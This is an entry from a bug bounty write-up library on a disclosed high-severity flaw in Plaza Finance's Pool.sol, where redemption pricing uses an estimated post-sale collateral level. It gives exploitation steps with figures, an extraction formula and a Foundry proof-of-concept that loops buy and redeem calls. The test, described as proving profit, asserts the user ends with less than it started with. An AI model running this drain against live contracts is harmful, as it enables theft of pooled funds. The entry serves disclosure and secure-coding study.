# Anyone Can Get Funds From This Contract.

Plaza Finance Pool.sol used estimated collateral level on bondETH redemption, letting attacker buy low and redeem at $100, draining ETH.

- Payout: Audit contest
- Severity: high
- Program: Plaza Finance
- Found by: 0xadrii
- Disclosed: 2024-12-16
- Write-up quality: 8/10
- Original: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/341
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-12-plaza-finance%3AH-2
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** Pool.sol getRedeemAmount
**Root cause:** getRedeemAmount computes collateralLevel using (tvl - depositAmount*BOND_TARGET_PRICE)/(bondSupply - depositAmount)*BOND_TARGET_PRICE, an estimated post-sale level, instead of current collateralLevel. This makes redeemRate jump to $100 when the estimated level exceeds 1.2 even if current level is below.
**Steps:**
1. Set pool: 120 ETH reserve, 3000 bondETH, 200 levETH, ETH price $3075.
2. Buy bondETH with 30 ETH: collateralLevel=1.23, creationRate=100, mint 922.5 bondETH.
3. Buy another 30 ETH: collateralLevel=1.176<1.2, creationRate~94.07, mint 980.625 bondETH.
4. Sell all 1903.125 bondETH: estimated collateralLevel=(553500-1903.125*100)/(3000*100)=1.210625>1.2, redeemRate=100, receive ~61.89 ETH.
5. Profit ~1.89 ETH; repeat until collateralLevel reaches 1.2.
**How found:** Code review of getRedeemAmount revealed collateralLevel uses depositAmount in denominator and numerator, making it an estimated post-sale level rather than current. Hypothesis: selling large amount can push estimated level above threshold and get max price.
**Exploitation:** Attacker buys bondETH in chunks to push collateralLevel below 1.2 at lower creation rates, then redeems all at once. The redemption calculation uses estimated collateralLevel after sale, which exceeds 1.2, so redeemRate becomes $100, yielding more ETH than spent.
**Escalation:** Can extract ETH until collateralLevel reaches 1.2; amount = (ethPrice*poolReserve - 120*bondSupply) USD.
**Insight:** In redemption/withdrawal logic, check whether collateral or share price is computed using pre- or post-withdrawal state. Using post-withdrawal state can let users redeem at a better rate than justified by current pool health.

## Proof of concept (copied exactly from the original report)

**Foundry test proving bondETH buy/sell profit**

```
function testCreateRedeemWithFees() public {
    vm.startPrank(governance);

    // Create a pool with 2% fee
    params.fee = 20000; // 2% fee (1000000 precision)
    params.feeBeneficiary = address(0x942);

    // Mint and approve reserve tokens
    Token rToken = Token(params.reserveToken);
    rToken.mint(governance, 120 ether);
    rToken.approve(address(poolFactory), 120 ether);

    Pool pool = Pool(poolFactory.createPool(params, 120 ether, 3000 ether, 200 ether, "", "", "", "", false));
    vm.stopPrank();

    // User creates leverage tokens
    vm.startPrank(user);
    
    rToken.mint(user, 60 ether);
    mockPriceFeed.setMockPrice(3075 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));

    uint256 usedEth = 60 ether;
    uint256 receivedEth = 0;
    uint256 buyTime = 2;
    uint256 sellTime = 1;
    rToken.approve(address(pool), usedEth);
    uint256 bondAmount = 0;

    console2.log("Before Balance:", rToken.balanceOf(user));
    assertEq(rToken.balanceOf(user), 60 ether);
    for (uint256 i = 0; i < buyTime; i++) {
      bondAmount += pool.create(Pool.TokenType.BOND, usedEth / buyTime, 0);
    }
    pool.bondToken().approve(address(pool), bondAmount);
    for (uint256 i = 0; i < sellTime; i++) {
      receivedEth += pool.redeem(Pool.TokenType.BOND, bondAmount / sellTime, 0);
    }
    console2.log(" After Balance:",rToken.balanceOf(user));
    assertLt(rToken.balanceOf(user), 60 ether);
    
    vm.stopPrank();

    // Reset state
    rToken.burn(user, rToken.balanceOf(user));
    rToken.burn(address(pool), rToken.balanceOf(address(pool)));
  }
```

**Vulnerable collateralLevel calculation in getRedeemAmount**

```
collateralLevel = ((tvl - (depositAmount * BOND_TARGET_PRICE)) * PRECISION) / ((bondSupply - depositAmount) * BOND_TARGET_PRICE);
```

